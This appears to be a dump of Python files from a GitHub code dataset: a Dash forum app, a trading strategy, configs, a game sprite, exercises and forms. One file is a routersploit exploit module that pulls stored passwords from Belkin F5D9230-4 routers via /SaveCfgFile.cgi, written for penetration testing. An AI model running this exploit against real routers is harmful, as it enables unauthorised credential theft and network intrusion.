{title: {text : {}}}})\n            else:\n                data[user].update({title: {text: {}}})\n        post = {user: {title: {text : []}}}\n        with open('postdb/data.json', 'w') as outfile:\n            json.dump(data, outfile)\n        os.execv(sys.executable, ['python'] + sys.argv)\n        #subprocess.call([\"python\", os.path.join(sys.path[0], __file__)] + sys.argv[1:])\n        #os.system('touch /var/www/euandrewritchie_eu_pythonanywhere_com_wsgi.py')\n\n\n        global indexglob\n        global comments\n        global arguments\n        global states\n        global run\n        comments.append(Input('commentbutton' + str(indexglob), 'n_clicks'))\n        comments.append(Input('commenttext' + str(indexglob), 'value'))\n        arguments.append('click' + str(indexglob))\n        arguments.append('commenttext' + str(indexglob))\n        arguments.append('posttitle' + str(indexglob))\n        outputs.append(Output('commentarea' + str(indexglob), 'children'))\n        states.append(State('posttitle' + str(indexglob), 'children'))\n        states.append(State('commenttext' + str(indexglob), 'value'))\n        print('this is the index value used', indexglob)\n        print(outputs, 'check this')\n        indexglob += 1\n\n\n        with open('postdb/data.json', 'w') as outfile:\n            json.dump(data, outfile)\n        return html.H4('Your post has been sucessfully uploaded, please refresh this page to see the results.')\n        '''\n        y = 0\n        global comments\n        global arguments\n        global states\n\n        comments = []\n        arguments = []\n        states = []\n\n        comments.append(Input('commentbutton' + str(y), 'n_clicks'))\n        comments.append(Input('commenttext' + str(y), 'value'))\n        arguments.append('click' + str(y))\n        arguments.append('commenttext' + str(y))\n        arguments.append('posttitle' + str(y))\n        outputs.append(Output('commentarea' + str(y), 'children'))\n        states.append(State('posttitle' + str(y), 'children'))\n        states.append(State('commenttext' + str(y), 'value'))\n        print('this is the index value used', y)\n        print(outputs, 'check this')\n        print('this is y', y)\n        y += 1\n        with open('postdb/data.json', 'w') as outfile:\n            json.dump(data, outfile)\n        ''\n        '''\n\n\n\n\n\n\n\n\ndef generatepost(user, title, text, index, comments2):\n\n\n    x = [\n        html.Div([\n            html.H3(user,  style = {'text-indent': '1%', 'float': 'left'}),\n            html.H1(title, id='posttitle' + str(index), style = {'text-indent': '0%', 'padding-left':'40%'}),\n\n        ]),\n        html.Div([\n                html.P(text, style={'text-indent': '1%','margin': '0', 'float':'left', 'width':'65%', 'padding':'1%', 'bgcolor': 'black'}),\n            ],style={'padding':'0%'}),\n        html.Br(),\n        html.Br(),\n        html.Button('Comment', id='commentbutton' + str(index), n_clicks=0, style={'float':'right', 'box-sizing':'border-box', 'margin-right':'2%'}),\n        dcc.Textarea(\n        id='commenttext' + str(index),\n        value='Please write your post here.',\n        style={'width': '100%', 'height': 50},\n        ),\n        html.Div(id='commentarea' + str(index)),\n        html.Br(),\n        html.Br()\n\n    ]\n    '''\n    for value in comments.keys():\n        x.append(html.P(comments[value] + ': ' + value))\n    '''\n    '''\n    comments.append(Input('commentbutton' + str(index), 'n_clicks'))\n    comments.append(Input('commenttext' + str(index), 'value'))\n    arguments.append('click' + str(index))\n    arguments.append('commenttext' + str(index))\n    arguments.append('posttitle' + str(index))\n    outputs.append(Output('commentarea' + str(index), 'children'))\n    states.append(State('posttitle' + str(index), 'children'))\n    states.append(State('commenttext' + str(index), 'value'))\n    print('this is the index value used', index)\n    print(outputs, 'these are the outputs')\n    '''\n\n\n    output = html.Div(x, style={'background-color': '#DDDDDD', 'margin': '1%', 'border': '1px solid black', 'border-radius': '10px'})\n\n\n    return output\n\n'''\n@app.callback(\n     dash.Output('co')\n)\ndef postcomment(*arguments):\n    print('did this happen'\n\n'''\n@app.callback(\n    outputs,\n    comments,\n    states\n)\ndef postcomment(*arguments):\n    print('did this happen')\n    print(arguments[:-1])\n    with open('postdb/data.json', 'r') as db:\n        data = json.load(db)\n    trigger = dash.callback_context.triggered[0]\n    print(trigger, 'this is trigger')\n    print(trigger['prop_id'].split('.')[0])\n    print(trigger['value'], 'this is trigger')\n    if trigger['value'] is not None:\n        #print(trigger['prop_id'].split('.')[0][:-1], 'this is the value mann')\n        if trigger['prop_id'].split('.')[0][:-1] == 'commentbutton':\n            num = trigger['prop_id'].split('.')[0][-1]\n            title = dash.callback_context.states['posttitle' + num + '.children']\n            print(dash.callback_context.states, 'these are the states')\n            print(title, 'testing')\n\n            output = []\n\n            for value in data.keys():\n                outputhtml = []\n                postnum = 0\n                for element in data[value].keys():\n                    if element == title:\n                        '''\n                        print('found it!')\n                        print(element)\n                        print(data[value][element])\n                        print(data[value][element].values())\n                        foundvalue = data[value][element]\n                        '''\n                        coms = list(data[value][element].keys())[0]\n                        text = dash.callback_context.states['commenttext' + num +'.value']\n                        user = dash.callback_context.states['user.value']\n                        data[value][element][coms][text] = user\n\n\n                        print(data[value][element][coms])\n\n                        for plaintext in data[value][element][coms].keys():\n                            outputhtml.append(html.P(data[value][element][coms][plaintext] + ': ' + plaintext))\n                        output.append(outputhtml)\n                        postnum += 1\n                    else:\n                        outhtml = []\n                        coms = list(data[value][element].keys())[0]\n                        print(data[value][element])\n                        print(coms, 'this coe')\n                        coms2 = list(data[value][element].values())[0]\n\n                        print(coms2, 'this is coms 2')\n                        for c in coms2.keys():\n                            print(c)\n                            outhtml.append(html.P(data[value][element][coms][c] + ': ' + c))\n                        output.append(outhtml)\n                        postnum += 1\n                    print(postnum, 'postnu')\n\n\n\n            #this is rewriting it for some reason\n            print(data, 'this is data')\n            with open('postdb/data.json', 'w') as outfile:\n                json.dump(data, outfile)\n            print(len(output))\n            return output\n        else:\n            raise PreventUpdate\n    else:\n        output = []\n        for value in data.keys():\n            for element in data[value].keys():\n                outhtml = []\n                coms = list(data[value][element].keys())[0]\n                for plaintext in data[value][element][coms].keys():\n                    outhtml.append(html.P(data[value][element][coms][plaintext] + ': ' + plaintext))\n                output.append(outhtml)\n                print('value')\n        print(len(output))\n        print(dash.callback_context.inputs, 'these are the inputs')\n        #print(len([output, output]), 'is it this')\n        return output\n\n\n\n'''\nif arguments[0] > 0:\n    #add to the file and re-read it!\n    return (None, None,  html.P('this is a test'))\nelse:\n    return [None, None, None]\n'''\n\n\n\n\nlayout = html.Div([\n    html.Div([\n        html.Div(id='commentarea2'),\n        #html.Button(id='commentbutton2'),\n        visdcc.Run_js('javascript'),\n        selectfeature,\n    ], style= SIDEBAR_STYLE),\n\n\n    html.Div(id='mainfeed',children= [], style=MAIN_STYLE),\n])\n\n# callback\n","repo_name":"Andrew-Ritchie/Web-Based-Dashboard-for-Nanoindentation-Experiments","sub_path":"apps/community.py","file_name":"community.py","file_ext":"py","file_size_in_byte":12687,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"35139540040","text":"import os\nimport sys\nimport sqlite3\nimport numpy as np\nimport pandas as pd\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom utility.static import now, timedelta_sec, strf_time, timedelta_hour\nfrom utility.setting import columns_gj1, ui_num, db_setting, coin_csan_time\n\n\nclass StrategyCoin:\n    def __init__(self, windowQ, coinQ, queryQ, stgQ):\n        self.windowQ = windowQ\n        self.coinQ = coinQ\n        self.queryQ = queryQ\n        self.stgQ = stgQ\n\n        self.list_buy = []\n        self.list_sell = []\n        self.dict_csan = {}     # key: 종목코드, value: datetime\n        self.dict_gsjm = {}     # key: 종목코드, value: DataFrame\n        self.dict_intg = {\n            '체결강도차이': 0.,\n            '평균시간': 0,\n            '거래대금차이': 0,\n            '체결강도하한': 0.,\n            '누적거래대금하한': 0,\n            '등락율하한': 0.,\n            '등락율상한': 0.,\n            '청산수익률': 0.,\n\n            '스레드': 0,\n            '시피유': 0.,\n            '메모리': 0.\n        }\n        self.dict_time = {'관심종목': now()}\n        self.Start()\n\n    def Start(self):\n        con = sqlite3.connect(db_setting)\n        df = pd.read_sql('SELECT * FROM coin', con)\n        df = df.set_index('index')\n        self.dict_intg['체결강도차이'] = df['체결강도차이'][0]\n        self.dict_intg['평균시간'] = df['평균시간'][0]\n        self.dict_intg['거래대금차이'] = df['거래대금차이'][0]\n        self.dict_intg['체결강도하한'] = df['체결강도하한'][0]\n        self.dict_intg['누적거래대금하한'] = df['누적거래대금하한'][0]\n        self.dict_intg['등락율하한'] = df['등락율하한'][0]\n        self.dict_intg['등락율상한'] = df['등락율상한'][0]\n        self.dict_intg['청산수익률'] = df['청산수익률'][0]\n        con.close()\n        int_time = int(strf_time('%H%M%S'))\n        while True:\n            data = self.stgQ.get()\n            if len(data) == 2:\n                self.UpdateList(data[0], data[1])\n            elif len(data) == 12:\n                self.BuyStrategy(data[0], data[1], data[2], data[3], data[4], data[5], data[6],\n                                 data[7], data[8], data[9], data[10], data[11])\n            elif len(data) == 5:\n                self.SellStrategy(data[0], data[1], data[2], data[3], data[4])\n\n            if now() > self.dict_time['관심종목'] and len(self.dict_gsjm) > 0:\n                self.windowQ.put([ui_num['관심종목'], self.dict_gsjm])\n                self.dict_time['관심종목'] = timedelta_sec(1)\n\n            if int_time < coin_csan_time - 1 <= int(strf_time('%H%M%S')):\n                break\n            int_time = int(strf_time('%H%M%S'))\n        sys.exit()\n\n    def UpdateList(self, gubun, tickers):\n        if '관심종목초기화' in gubun:\n            self.dict_gsjm = {}\n            tn = 1 if int(strf_time('%H%M%S', timedelta_hour(-9))) <= 10000 else 2\n            for ticker in tickers:\n                data = np.zeros((self.dict_intg['평균시간'] + 2, len(columns_gj1))).tolist()\n                df = pd.DataFrame(data, columns=columns_gj1)\n                df['체결시간'] = strf_time('%H%M%S', timedelta_hour(-9))\n                self.dict_gsjm[ticker] = df.copy()\n        elif gubun == '매수완료':\n            if tickers in self.list_buy:\n                self.list_buy.remove(tickers)\n        elif gubun == '매도완료':\n            if tickers in self.list_sell:\n                self.list_sell.remove(tickers)\n\n    def BuyStrategy(self, ticker, c, h, low, per, dm, bid, ask, t, uuidnone, injango, batting):\n        if ticker not in self.dict_gsjm.keys():\n            return\n\n        hlm = round((h + low) / 2)\n        hlmp = round((c / hlm - 1) * 100, 2)\n        predm = self.dict_gsjm[ticker]['누적거래대금'][1]\n        sm = 0 if predm == 0 else int(dm - predm)\n        try:\n            ch = round(bid / ask * 100, 2)\n        except ZeroDivisionError:\n            ch = 500.\n        self.dict_gsjm[ticker] = self.dict_gsjm[ticker].shift(1)\n        if len(self.dict_gsjm[ticker]) == self.dict_intg['평균시간'] + 2 and \\\n                self.dict_gsjm[ticker]['체결강도'][self.dict_intg['평균시간']] != 0.:\n            avg_sm = int(self.dict_gsjm[ticker]['거래대금'][1:self.dict_intg['평균시간'] + 1].mean())\n            avg_ch = round(self.dict_gsjm[ticker]['체결강도'][1:self.dict_intg['평균시간'] + 1].mean(), 2)\n            high_ch = round(self.dict_gsjm[ticker]['체결강도'][1:self.dict_intg['평균시간'] + 1].max(), 2)\n            self.dict_gsjm[ticker].at[self.dict_intg['평균시간'] + 1] = 0., 0., avg_sm, 0, avg_ch, high_ch, t\n        self.dict_gsjm[ticker].at[0] = per, hlmp, sm, dm, ch, 0., t\n\n        if self.dict_gsjm[ticker]['체결강도'][self.dict_intg['평균시간']] == 0:\n            return\n        if ticker in self.list_buy:\n            return\n        if injango:\n            return\n\n        # 전략 비공개\n\n        oc = int(batting / c)\n        if oc > 0:\n            self.list_buy.append(ticker)\n            self.coinQ.put(['매수', ticker, c, oc])\n\n    def SellStrategy(self, ticker, sp, jc, ch, c):\n        if ticker in self.list_sell:\n            return\n\n        oc = 0\n\n        # 전략 비공개\n\n        if oc > 0:\n            self.list_sell.append(ticker)\n            self.coinQ.put(['매도', ticker, c, oc])\n","repo_name":"Hengugy/PyStockTrader","sub_path":"trader/strategy_coin.py","file_name":"strategy_coin.py","file_ext":"py","file_size_in_byte":5467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"42674509794","text":"\"\"\"\nBase configuration for TiddlySpace.\n\nThis provides the basics which may be changed in tidlywebconfig.py.\n\"\"\"\n\nfrom tiddlywebplugins.instancer.util import get_tiddler_locations\n\nfrom tiddlywebplugins.tiddlyspace.instance import store_contents\n\ntry:\n    from pkg_resources import resource_filename\nexcept ImportError:\n    from tiddlywebplugins.utils import resource_filename\n\n\nPACKAGE_NAME = 'tiddlywebplugins.tiddlyspace'\nTIDDLYWIKI_ALPHA = resource_filename(PACKAGE_NAME, 'resources/alpha.html')\nTIDDLYWIKI_BETA = resource_filename(PACKAGE_NAME, 'resources/beta.html')\nTIDDLYWIKI_EXTERNAL_ALPHA = resource_filename(PACKAGE_NAME,\n        'resources/external_alpha.html')\n\nconfig = {\n    'instance_tiddlers': get_tiddler_locations(store_contents, PACKAGE_NAME),\n    'atom.default_filter': 'select=tag:!excludeLists;sort=-modified;limit=20',\n    'atom.author_uri_map': '/profiles/%s',\n    'atom.hub': 'http://pubsubhubbub.appspot.com/',\n    'auth_systems': ['tiddlywebplugins.tiddlyspace.cookie_form',\n        'tiddlywebplugins.tiddlyspace.openid'],\n    'beanstalk.listeners': ['tiddlywebplugins.dispatcher.listener',\n        'tiddlywebplugins.tiddlyspace.profiles'],\n    'bag_create_policy': 'ANY',\n    'recipe_create_policy': 'ANY',\n    'css_uri': '/bags/common/tiddlers/tiddlyweb.css',\n    'socialusers.reserved_names': ['www', 'about', 'help', 'announcements',\n        'dev', 'info', 'api', 'status', 'login', 'frontpage'],\n    'cookie_age': '2592000',  # 1 month\n    'server_store': ['tiddlywebplugins.tiddlyspace.store', {\n        'db_config': 'mysql:///tiddlyspace?charset=utf8&use_unicode=0'}],\n    'indexer': 'tiddlywebplugins.mysql2',\n    'tiddlywebwiki.binary_limit': 1048576,  # 1 MB\n    'lazy.titles': ['SiteIcon', 'ColorPalette'],\n    # TiddlyWiki external, alpha, beta serialization\n    'base_tiddlywiki_beta': TIDDLYWIKI_BETA,\n    'base_tiddlywiki_alpha': TIDDLYWIKI_ALPHA,\n    'base_tiddlywiki_external_alpha': TIDDLYWIKI_EXTERNAL_ALPHA,\n    'serializers': {\n        'text/x-tiddlywiki': ['tiddlywebplugins.tiddlyspace.betaserialization',\n            'text/html; charset=UTF-8']}}\n","repo_name":"Erls-Corporation/tiddlyspace","sub_path":"tiddlywebplugins/tiddlyspace/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"20098130657","text":"class Match:\n    def __init__(self, coder, recruiter, meeting_time):\n        self.coder = coder\n        self.recruiter = recruiter\n        self.meeting_time = meeting_time\n        self.time_slot = (recruiter.name, meeting_time)\n        self.match_code = (\n            str(coder.id).zfill(4)\n            + str(recruiter.id).zfill(4)\n            + str(meeting_time).zfill(2)\n        )\n\n        self.recruiter_time_code = str(recruiter.id).zfill(4) + str(meeting_time).zfill(\n            4\n        )\n\n        self.meeting_code = str(coder.id).zfill(4) + str(recruiter.id).zfill(4)\n        self.coder_time_code = str(coder.id).zfill(4) + str(meeting_time).zfill(4)\n        # self.coincidence = self.calc_match()\n\n    def to_str(self):\n        return f\"| {self.coder.name}, {self.recruiter.name}, slot:{self.meeting_time}|\"\n\n    def is_same_location(self):\n        if self.coder.name == \"joker\":\n            return True\n        for location in self.recruiter.locations:\n            if location in self.coder.locations:\n                return True\n        return False\n\n    def has_skill(self):\n        if self.coder.name == \"joker\":\n            return True\n        for skill in self.recruiter.skills:\n            if skill in self.coder.skills:\n                return True\n        return False\n\n    def has_schedule(self):\n        if self.coder.name == \"joker\":\n            return True\n        schedule_values = list(self.recruiter.schedule.values())\n        if schedule_values[self.meeting_time] == \"x\":\n            return True\n        return False\n\n    def to_tuple(self):\n        if self.coder.name == \"joker\":\n            return (self.match_code, self.recruiter_time_code, \"0\", \"0\")\n        return (\n            self.match_code,\n            self.recruiter_time_code,\n            self.meeting_code,\n            self.coder_time_code,\n        )\n\n    # def has_same_languages(self):\n    #     for languages in self.recruiter.languages:\n    #         if languages in self.coder.languages:\n    #             return True\n    #     return False\n\n    # def calc_match(self):\n    #     location_value = 0\n    #     for location in self.coder.location:\n    #         if location in self.recruiter.location:\n    #             location_value = 0.5\n\n    #     skills_coincidences = []\n    #     for skill in self.coder.skills:\n    #         if skill in self.recruiter.skills:\n    #             skills_coincidences.append(skill)\n\n    #     skills_value = len(skills_coincidences) / len(self.recruiter.skills) * 0.3\n\n    #     languages_coincidences = []\n    #     if self.recruiter. languages == []:\n    #         languages_value = 0.2\n    #     else:\n\n    #     for language in self.coder.languages:\n\n    #         if language in self.recruiter.languages:\n    #             languages_coincidences.append(language)\n\n    #     languages_value = (\n    #         len(languages_coincidences) / len(self.recruiter.languages) * 0.2\n    #     )\n\n    #     return skills_value + languages_value + location_value\n","repo_name":"vickypineli/Proyecto-MatchF5","sub_path":"back/src/domain/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"38673237111","text":"# importiert Sprite\nfrom pygame.sprite import Sprite \nfrom math import sin, cos, pi\nfrom pygame.math import Vector2\nimport pygame.image\nimport time\n\n\n# Klassendeklaration\nclass tank(Sprite):\n    def __init__(self, life, velocity, reload_time, damage, \n        turret_velocity, position, angle, turret_angle, image_path, image2_path):\n        Sprite.__init__(self)\n        self.life = life\n        self.velocity = velocity\n        self.angle_velocity = 0.034\n        self.reload_time = reload_time\n        self.damage = damage\n        self.turret_angle = turret_angle\n        self.turret_velocity = turret_velocity\n        self.position = position\n        self.angle = angle\n        self.image1 = pygame.image.load(image_path)\n        self.rect1 = self.image1.get_rect()\n        self.rect1.center = position\n        self.image2 = pygame.image.load(image2_path)\n        self.rect2 = self.image2.get_rect()\n        self.shot = False\n        self.timestamp_last_shot = 0\n\n    def update(self, forward, backward, left, right, turret_left, turret_right, shoot):\n        if forward:\n           self.position += Vector2(cos(self.angle), sin(self.angle)) * self.velocity\n        if backward:\n           self.position += Vector2(cos(self.angle), sin(self.angle)) * (-self.velocity)\n        if left:\n           self.angle = (self.angle - self.angle_velocity) % (2 * pi)\n        if right:\n           self.angle = (self.angle + self.angle_velocity) % (2 * pi)\n        if turret_left:\n            self.turret_angle = (self.turret_angle- self.turret_velocity) % (2 * pi)\n        if turret_right:\n            self.turret_angle = (self.turret_angle + self.turret_velocity) % (2 * pi)\n        if shoot:\n            current_timestamp = time.time()\n            if (current_timestamp - self.timestamp_last_shot) > self.reload_time:\n                self.shot = True \n                self.timestamp_last_shot = current_timestamp\n\n\n    def draw(self, surface):\n        rotated_image1 = pygame.transform.rotate(self.image1, -self.angle*180.0 / pi)\n        rotated_image2 = pygame.transform.rotate(self.image2, -self.turret_angle*180.0 / pi)\n        self.rect1 = rotated_image1.get_rect()\n        self.rect2 = rotated_image2.get_rect()\n        self.rect1.center = self.position\n        self.rect2.center = self.position\n        surface.blit(rotated_image1, self.rect1)\n        surface.blit(rotated_image2, self.rect2)\n","repo_name":"totemsteiner/tank_game","sub_path":"tank.py","file_name":"tank.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5801993753","text":"# Напишите программу, на вход которой подаётся прямоугольная матрица в виде \n# последовательности строк, заканчивающихся строкой, содержащей только строку \n#\"end\" (без кавычек)\n\n# Программа должна вывести матрицу того же размера, у которой каждый элемент в\n# позиции i, j равен сумме элементов первой матрицы на позициях\n# (i-1, j), (i+1, j), (i, j-1), (i, j+1). У крайних символов соседний элемент\n# находится с противоположной стороны матрицы.\n\n# В случае одной строки/столбца элемент сам себе является соседом\n# по соответствующему направлению.\n# a = [[0] * n for i in range(n)]\n# n = 5\n# a = [[0 for j in range(n)] for i in range(n)]\n# for i in range(n):\n# \tfor j in range(n):\n#\t\tprint (a[i][j], end = '')\n#\tprint(a[i][j])\n#Кейс 1 с текущей страницы:\n#Вход - 1\n#Выход - 4\n\n#Кейс 2:\n#Вход - 15 -4 8 3\n#Выход - 29 15 15 29\n\n#Кейс 3:\n#Вход - \n#0\n#7\n#9\n#12\n#Выход -\n#19\n#23\n#37\n#33\n\n#Кейс 4:\n#Вход -\n#2 2 2 3 0 5\n#8 -4 3 5 1 0\n#Выход -\n#23 -4 11 12 10 2\n#0 15 5 10 5 19\n\n#Кейс 5:\n#Вход -\n#2 2\n#3 5\n#-1 7\n#0 1\n#Выход -\n#7 10\n#11 15\n#17 4\n#3 9\n\nimport copy\n#a = [[9,5,3], [0,7,-1], [-5,2,9]]\n#print ('Исходная матрица:')\nline = []\nk = 0\na = []\nc = []\nwhile True:\n\tk = input()#тестируем конфликт\n\tif k == 'end':\n\t\tbreak\n\tline = [int(i) for i in k.split()]\n#\tprint(type(line),line)\n\ta.append(line)\n\nb = copy.deepcopy(a)\n# = a\nfor i in range(len(a)):\n\tfor j in range(len(a[i])):\n\t\tif len(a[i]) == 1:\n\t\t\tb[i][j] = a[i][j]*4\n\t\telif len(a) == 1 and j == len(a[i])-1:\n\t\t\tb[i][j] = a[i][0] + a[i][j-1] + a[i][j]*2\n\t\telif len(a) == 1:\n\t\t\tb[i][j] = a[i][j]*2 + a[i][j-1] + a[i][j+1]\t\n\t\telse:\n\t\t\tif i == len(a)-1 and j == len(a[i])-1:\n\t\t\t\tb[i][j] = a[i][j-1] + a[i][0] + a[i-1][j] + a[0][j]\n\t\t\t\t#print()\n\t\t\telif j == len(a[i])-1:\n\t\t\t\tb[i][j] = a[i-1][j] + a[i+1][j] + a[i][j-1] + a[i][0]\n\t\t\t\t#print('сработало 2')\n\t\t\telif i == len(a)-1:\n\t\t\t\tb[i][j] = a[i-1][j] + a[0][j] + a[i][j-1] + a[i][j+1]\n\t\t\t\t#print('сработало 3')\n\t\t\telse:\n\t\t\t\t#print('сработало 4')\n\t\t\t\t#print(a[i][j-1],'+',a[i][j+1],'+',a[i-1][j],'+',a[i+1][j],'=',\n\t\t\t\t#\ta[i][j-1] + a[i][j+1] + a[i-1][j] + a[i+1][j])\n\t\t\t\tb[i][j] = a[i][j-1] + a[i][j+1] + a[i-1][j] + a[i+1][j]\n\t\t\t\t#print ('i=',i,'j=',j, 'a[i][j-1]=',a[i][j-1])\n\n#\t\tb[i][j] = a[i][j]+1\nfor i in range(len(b)):\n\tfor j in range(len(b[i])):\n\t\tprint (b[i][j], ' ', end = '')\n\tprint ()\n","repo_name":"lapssh/codder_learning","sub_path":"courses/stepik/python/011_matrix.py","file_name":"011_matrix.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15426550133","text":"# -*- coding: utf-8 -*-\n#\nfrom __future__ import unicode_literals\n\nimport urwid\n\nfrom . import StepView\nfrom . import widgets\nfrom installer import l10n\n\n\n#\n# Language selection should be immediate.\n#\n# Layout should be effective when validating since keyboard is needed\n# later (root password setup for example).\n#\n\nclass LanguageView(StepView):\n\n    def __init__(self, ui, step):\n        StepView.__init__(self, ui, step)\n        self.page = widgets.Page(_(\"Select your location\"))\n\n        # Build a self._country_zones, which is a list of prefered\n        # zones in each country.\n        self._country_zones = []\n        ccode_set = set()\n\n        for zi in l10n.get_country_zones():\n            if zi.ccode not in ccode_set:\n                self._country_zones.append(zi)\n                ccode_set.add(zi.ccode)\n        countries = [z.country for z in self._country_zones]\n\n        body = widgets.ClickableTextList(countries, self.on_click)\n\n        # Try to move the focus on the entry that matches (roughly)\n        # the current locale.\n        for zi in self._country_zones:\n            if zi.locale.startswith(l10n.language):\n                body.set_focus(zi.country)\n                break\n\n        body = urwid.Filler(body, 'middle', height=('relative', 40))\n        body = urwid.Padding(body,'center', width=('relative', 60))\n        self.page.body = body\n\n    def on_click(self, country, index):\n        #\n        # step is run simply to update its state to 'done'\n        #\n        self.run()\n\n        #\n        # Setting the locale may fail if it's not installed on the\n        # host system, but that's not an issue since we're interested\n        # mostly in setting up the language.\n        #\n        locale = self._country_zones[index].locale\n\n        l10n.set_locale(locale)\n        l10n.set_language(locale)\n\n        self._ui._reload()\n","repo_name":"fbuihuu/installer","sub_path":"installer/ui/urwid/language.py","file_name":"language.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"14147630077","text":"import requests\nimport re\n\nfrom routersploit import *\n\n\nclass Exploit(exploits.Exploit):\n    \"\"\"\n    Exploit implementation for Belkin Wireless G Plus MIMO Router F5D9230-4 information disclosure vulnerability.\n    If the target is vulnerable, sensitive information such as credentials are returned.\n    \"\"\"\n    __info__ = {\n        'name': 'Belkin G Info Disclosure',\n        'description': 'Module exploits Belkin Wireless G Plus MIMO Router F5D9230-4 information disclosure vulnerability which allows fetching sensitive information such as credentials.',\n        'authors': [\n            'DarkFig', # vulnerability discovery\n            'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module\n        ],\n        'references': [\n            'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403',\n            'https://www.exploit-db.com/exploits/4941/',\n        ],\n        'targets': [\n            'Belkin G',\n        ]\n    }\n\n    target = exploits.Option('', 'Target address e.g. http://192.168.1.1')\n    port = exploits.Option(80, 'Target Port')\n\n    def run(self):\n        url = sanitize_url(\"{}:{}/SaveCfgFile.cgi\".format(self.target, self.port))\n\n        try:\n            r = requests.get(url, verify=False)\n            res = r.text\n        except requests.exceptions.ConnectionError:\n            print_error(\"Connection error: %s\" % url)\n            return\n\n        var = ['pppoe_username','pppoe_password','wl0_pskkey','wl0_key1','mradius_password','mradius_secret','httpd_password','http_passwd','pppoe_passwd']\n\n        data = []\n        for v in var:\n            regexp = '{}=\"(.+?)\"'.format(v)\n\n            val = re.findall(regexp, res)\n            if len(val):\n                data.append((v, val[0]))\n\n        if len(data):\n            print_success(\"Exploit success\")\n            headers = (\"Option\", \"Value\")\n            print_table(headers, *data)\n\n        else:\n            print_error(\"Exploit failed\")\n\n    def check(self):\n        url = sanitize_url(\"{}:{}/SaveCfgFile.cgi\".format(self.target, self.port))\n\n        try:\n            r = requests.get(url, verify=False)\n            res = r.text\n        except:\n            return None # could not verify\n\n        var = ['pppoe_username','pppoe_password','wl0_pskkey','wl0_key1','mradius_password','mradius_secret','httpd_password','http_passwd','pppoe_passwd']\n\n        if any(map(lambda x: x in res, var)):\n            return True   # target vulnerable\n\n        return False # target is not vulnerable\n\n","repo_name":"Angel-2/BITCAMP-2k16","sub_path":"routersploit/modules/exploits/belkin/g_plus_info_disclosure.py","file_name":"g_plus_info_disclosure.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"24704954812","text":"# -*-coding: utf-8 -*-\n\nimport colander\n\nfrom . import(\n    SelectInteger,\n    ResourceSchema, \n    BaseForm,\n    BaseSearchForm,\n    BaseAssignForm,\n)\nfrom ..resources.regions import RegionsResource\nfrom ..models import DBSession\nfrom ..models.region import Region\nfrom ..models.country import Country\nfrom ..models.note import Note\nfrom ..models.task import Task\nfrom ..lib.qb.regions import RegionsQueryBuilder\nfrom ..lib.utils.common_utils import translate as _\nfrom ..lib.utils.security_utils import get_auth_employee\n\n\n@colander.deferred\ndef name_validator(node, kw):\n    request = kw.get('request')\n\n    def validator(node, value):\n        region = (\n            DBSession.query(Region).filter(\n                Region.name == value,\n                Region.country_id == request.params.get('country_id')\n            ).first()\n        )\n        if (\n            region\n            and str(region.id) != request.params.get('id')\n        ):\n            raise colander.Invalid(\n                node,\n                _(u'Region already exists'),\n            )\n    return colander.All(colander.Length(max=128), validator,)\n\n\nclass _RegionSchema(ResourceSchema):\n    country_id = colander.SchemaNode(\n        SelectInteger(Country),\n    )\n    name = colander.SchemaNode(\n        colander.String(),\n        validator=name_validator\n    )\n\n\nclass RegionForm(BaseForm):\n    _schema = _RegionSchema\n\n    def submit(self, region=None):\n        context = RegionsResource(self.request)\n        if not region:\n            region = Region(\n                resource=RegionsResource.create_resource(\n                    get_auth_employee(self.request)\n                )\n            )\n        else:\n            region.resource.notes = []\n            region.resource.tasks = []\n        region.name = self._controls.get('name')\n        region.country_id = self._controls.get('country_id')\n        for id in self._controls.get('note_id'):\n            note = Note.get(id)\n            region.resource.notes.append(note)\n        for id in self._controls.get('task_id'):\n            task = Task.get(id)\n            region.resource.tasks.append(task)\n        return region\n\n\nclass RegionSearchForm(BaseSearchForm):\n    _qb = RegionsQueryBuilder\n\n\nclass RegionAssignForm(BaseAssignForm):\n    def submit(self, ids):\n        for id in ids:\n            region = Region.get(id)\n            region.resource.maintainer_id = self._controls.get(\n                'maintainer_id'\n            )\n","repo_name":"mazvv/travelcrm","sub_path":"travelcrm/forms/regions.py","file_name":"regions.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"16"}
+{"seq_id":"38198686139","text":"import numpy as np\nimport pandas as pd\nfrom utils.graph.Matrix import AdjacencyList, AdjacencyMatrix\n\ndef matrix_list_histogram_for_karate_club(data):\n    first_column = data.iloc[:, 0]\n    second_column = data.iloc[:, 1]\n\n    max_index_first = np.max(first_column)\n    max_index_second = np.max(second_column)\n    max_value = max_index_first if max_index_first > max_index_second else max_index_second  \n\n    matrix = AdjacencyMatrix(max_value, data)\n    matrix_list = AdjacencyList(data)\n\n    print('\\n=============CV2===========')\n    print(matrix_list)\n    print('==========================')\n    matrix_list.print_values()\n\n    occurences = matrix_list.all_degres\n\n    rc = True\n    show_hist = False\n    if show_hist:\n        bins = list(range(1, np.max(matrix_list.all_degres)+2))\n        weights = np.zeros_like(occurences) + 1 / len(occurences)\n        bins = math.ceil(((np.max(occurences) - np.min(occurences)) + 1)/1)\n        plt.hist(occurences, bins=bins, alpha=0.5, histtype='bar', ec='black', color=\"green\", density=rc)\n        plt.grid(axis='y', alpha=0.75)\n   